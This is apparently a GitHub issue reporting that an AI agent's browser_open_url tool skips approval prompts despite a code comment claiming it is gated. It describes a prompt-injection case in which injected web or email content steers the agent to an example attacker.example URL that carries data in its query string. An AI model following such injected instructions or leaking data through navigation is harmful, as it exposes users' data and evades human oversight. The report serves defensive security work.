Skip to content

browser_open_url is registered kind="read" so it never prompts — but its own comment says "This is approval gated" #399

Description

@klmtseng

Version: e0cb129d20ab73c77278788bcc6e33299cb72d2c

Summary

browser_open_url is registered with kind="read". Under the §36 rule that "reads never gate", approval_for_tool() therefore returns False for it, overriding the _attach() call-site default of approval=True. The tool navigates a real browser to a model-supplied URL with no check-in.

Meanwhile the inline comment inside that same function states the opposite:

# coworker/connectors/browser_automation.py:337
        # Same address guard as web_fetch. This is approval gated, so it is defense in
        # depth, not the primary control. It checks the initial model supplied URL only;
        # redirects that the browser follows internally are not hop checked here.

The comment treats check_url() as a secondary control backed by an approval prompt that does not actually exist for this tool. Either the classification or the comment is wrong, and it would be good to know which.

Where

  • coworker/connectors/tool_defs.py:37-41ConnectorToolDef("browser", "browser_open_url", "Open URL", "read", ...)
  • coworker/connectors/tool_defs.py:1102-1106approval_for_tool()return kind != "read"
  • coworker/connectors/browser_automation.py:52-57_attach(..., approval: bool = True), then approval = approval_for_tool(name, default=approval)
  • coworker/connectors/browser_automation.py:337 — the contradicting comment
  • coworker/web/guard.py:37-55check_url() blocks loopback / link-local / RFC1918 / CGNAT / multicast / reserved; any public URL passes

Reproduction

Resolving the registry at the above commit:

  browser_open_url   kind='read'     requires_approval=False
  browser_read_url   kind='read'     requires_approval=False
  browser_click      kind='write'    requires_approval=True
  browser_type       kind='write'    requires_approval=True

Why it matters

Navigation is a read in the sense that it doesn't mutate the remote service, but the URL itself is an outbound channel. Content the agent has already read — an injected instruction on a web page, in an email, or in an issue body — can steer it to browser_open_url("https://attacker.example/x?d=<data>"), and the data leaves in the query string with no prompt. check_url() doesn't help, because the destination is a perfectly ordinary public host.

This is the classic prompt-injection exfiltration shape, and the README's "Ask before acting - writes, sends, and shell commands are approval-gated" reads as though navigation were covered.

Scope note, to avoid overstating it: browser_automation.py:128 creates the browser context with new_context() and no storage_state, so there is no persistent logged-in session carried across launches. The concern is the outbound URL as a channel, not cookie theft.

Possible directions

  • Treat outbound navigation to a not-yet-visited origin as gate-worthy even though it's a read (an origin allowlist, or first-visit-per-origin approval, would keep the prompt volume low), or
  • keep it ungated by design and fix the comment at browser_automation.py:337 so it doesn't claim a control that isn't there.

Either way the code and the comment should agree. Happy to send a PR for whichever you prefer.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions